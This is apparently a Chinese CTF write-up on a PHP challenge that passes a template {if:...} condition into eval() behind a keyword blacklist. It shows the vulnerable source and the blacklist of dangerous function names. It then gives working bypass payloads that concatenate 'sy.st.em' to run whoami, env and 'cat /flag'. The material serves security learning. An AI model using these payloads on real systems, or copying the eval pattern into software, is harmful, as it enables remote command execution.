Refer Article:https://zhzhdoai.github.io/2019/02/20/PHP%E4%B9%8BGET%E4%BC%A0%E5%8F%82%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/
源码如下:
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
这里在做题的时候多亏了参考文章的那位师傅,第一次碰到GET 传参黑名单绕过执行
类的题目,感谢师傅的分享,受教了
首先明确利用点:
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
要把GET
到的传参传到eval
处需要符合这样的格式:
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
然后本地测试明确了一下preg_match_all()
中的多维数组参数$matches
的内容
$ifstr = $matches[ 1 ][ $i ];
的内容,这里就先拿下文的payload测试
首先$count=1
,那么$ifstr
就是$matches[ 1 ][ 0 ];
,下面也输出了$matches[ 1 ][ 0 ];
可以看到是我们传入的payload中最前面的{}
中的内容,之后$ifstr=danger_key($ifstr,1);
使用了danger_key()
过滤了很多关键字符,以及:
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
还过滤了一些=
、{}
号之类的字符,无伤大雅,最后插入到eval
当中进行执行,OK代码就看到这里
接下来看看如何绕过这些过滤,根据文章开头的参考文章,GET GET 传参黑名单绕过执行
有很多绕过方法
1. PHP转义绕过
以Unicode
表示的\u{[0–9A-Fa-f]+}
字符,会输出为UTF-
8字符串(自PHP 7.0.0
引入该功能)
在PHP>7
可以采用可变函数+十六进制
绕过黑名单
虽然这里题目环境是PHP>7,但是这里和参考文章不同,这里是拼接到if else
结构当中在eval
执行,我并没测试出来,
应该是我太菜了,姿势不对,有使用这种方法测试出来这道题的欢迎留言区分享
2. 使用字符串拼接
这种方法可以,使用php 连接符
拼接关键字,可以绕过黑名单执行,payload如下:
?a={if:(sy.(st).em)(whoami)}{end if}
?a={if:(s.y.s.t.e.m)(env)}{end if}
这里得说一下,使用env
环境变量这个姿势好用,有些题目甚至还需要你猜路径才能找到flag
,使用env
都不用找直接出来,而且还有很多信息都可以看到,比如PHP
版本,一些环境变量的绝对路径之类的,挺爽的,当然要找flag也可以,flag在根目录
payload:?a={if:(s.y.s.t.e.m)('cat /flag')}{end if}
其他的方法就不测试了,有空之后再写一篇关于GET 黑名单绕过执行
的文章